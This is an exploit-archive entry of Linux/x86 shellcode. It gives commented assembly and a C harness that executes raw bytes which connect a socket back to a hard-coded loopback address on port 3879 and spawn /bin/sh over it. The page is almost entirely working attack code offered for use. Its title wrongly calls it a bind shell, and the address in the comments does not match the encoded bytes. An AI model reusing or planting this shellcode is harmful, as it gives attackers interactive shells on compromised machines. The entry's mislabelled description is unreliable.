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Linux/x86 - Bind TCP (3879/TCP) Shell (/bin/sh) Shellcode (113 bytes)
/* Connecting shellcode written by lamagra <lamagra@digibel.org> http://lamagra.seKure.de May 2000 .file "connect" .version "01.01" .text .align 4 _start: #socket(AF_INET,SOCK_STREAM,IPPROTO_IP); movl %esp,%ebp xorl %edx,%edx movb $102,%edx movl %edx,%eax # 102 = socketcall xorl %ecx,%ecx movl %ecx,%ebx incl %ebx # socket() movl %ebx, -8(%ebp) # 1 = SOCK_STREAM incl %ebx movl %ebx, -12(%ebp) # 2 = AF_INET decl %ebx # 1 = SYS_socket movl %ecx, -4(%ebp) # 0 = IPPROTO_IP leal -12(%ebp),%ecx # put args in correct place int $0x80 # switch to kernel-mode xorl %ecx,%ecx movl %eax,-12(%ebp) # save the fd # connect(fd,(struct sockaddr *)&struct,16); incl %ebx movw %ebx,-20(%ebp) # 2 = PF_INET movw $9999,-18(%ebp) # 9999 = htons(3879); movl $0x100007f,-16(%ebp) # htonl(IP) leal -20(%ebp),%eax # struct sockaddr movl %eax,-8(%ebp) # load the struct movb $16,-4(%ebp) # 16 = sizeof(sockaddr) movl %edx,%eax # 102 = socketcall incl %ebx # 3 = SYS_connect leal -12(%ebp),%ecx # put args in place int $0x80 # call socketcall() # dup2(fd,0-1-2) xorl %ecx,%ecx movb $63,%eax # 63 = dup2() int $0x80 incl %ecx cmpl $3,%ecx jne -0xa # arg[0] = "/bin/sh" # arg[1] = 0x0 # execve(arg[0],arg); jmp 0x18 popl %esi movl %esi,0x8(%ebp) xorl %eax,%eax movb %eax,0x7(%esi) movl %eax,0xc(%ebp) movb $0xb,%al movl %esi,%ebx leal 0x8(%ebp),%ecx leal 0xc(%ebp),%edx int $0x80 call -0x1d .string "/bin/sh" */ #define NAME "connecting" char code[]= "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8" "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89" "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\xc7\x45\xf0" "\x7f\x01\x01\x01\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0" "\x43\x8d\x4d\xf4\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03" "\x75\xf6\xeb\x18\x5e\x89\x75\x08\x31\xc0\x88\x46\x07\x89\x45\x0c" "\xb0\x0b\x89\xf3\x8d\x4d\x08\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff" "\xff/bin/sh"; main() { int (*funct)(); funct = (int (*)()) code; printf("%s shellcode\n\tSize = %d\n",NAME,strlen(code)); (int)(*funct)(); } # 0day.today [2024-12-24] #